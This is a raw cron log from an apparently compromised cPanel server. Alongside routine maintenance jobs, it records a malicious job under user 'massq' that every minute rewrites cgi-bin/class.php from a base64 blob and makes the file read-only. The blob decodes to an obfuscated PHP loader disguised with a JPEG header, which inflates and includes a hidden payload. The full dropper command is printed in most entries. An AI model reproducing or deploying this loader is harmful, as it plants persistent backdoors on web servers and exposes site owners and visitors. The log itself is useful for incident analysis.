Sep  2 11:08:01 server CROND[13033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:09:01 server CROND[13415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:09:01 server CROND[13414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:09:01 server CROND[13416]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 11:09:01 server CROND[13417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:10:01 server CROND[13802]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:10:01 server CROND[13804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:10:01 server CROND[13805]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 11:10:01 server CROND[13815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:10:01 server CROND[13812]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 11:10:01 server CROND[13813]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 11:10:01 server CROND[13816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:10:01 server CROND[13814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:11:01 server CROND[14754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:11:01 server CROND[14756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:11:01 server CROND[14755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:12:01 server CROND[15148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:12:01 server CROND[15150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:12:01 server CROND[15149]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 11:12:01 server CROND[15151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:13:01 server CROND[15549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:13:01 server CROND[15550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:13:01 server CROND[15551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:14:01 server CROND[15935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:14:01 server CROND[15936]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:14:01 server CROND[15937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:15:01 server CROND[16326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:15:01 server CROND[16325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:15:01 server CROND[16331]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 11:15:01 server CROND[16332]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:15:01 server CROND[16330]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:15:01 server CROND[16329]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 11:15:01 server CROND[16333]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 11:15:01 server CROND[16328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:16:02 server CROND[17339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:16:02 server CROND[17340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:16:02 server CROND[17341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:17:01 server CROND[17726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:17:01 server CROND[17727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:17:01 server CROND[17731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:18:01 server CROND[18140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:18:01 server CROND[18141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:18:01 server CROND[18142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:19:01 server CROND[18529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:19:01 server CROND[18530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:19:01 server CROND[18531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:20:01 server CROND[18942]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 11:20:01 server CROND[18943]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 11:20:01 server CROND[18951]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:20:01 server CROND[18956]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 11:20:01 server CROND[18961]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
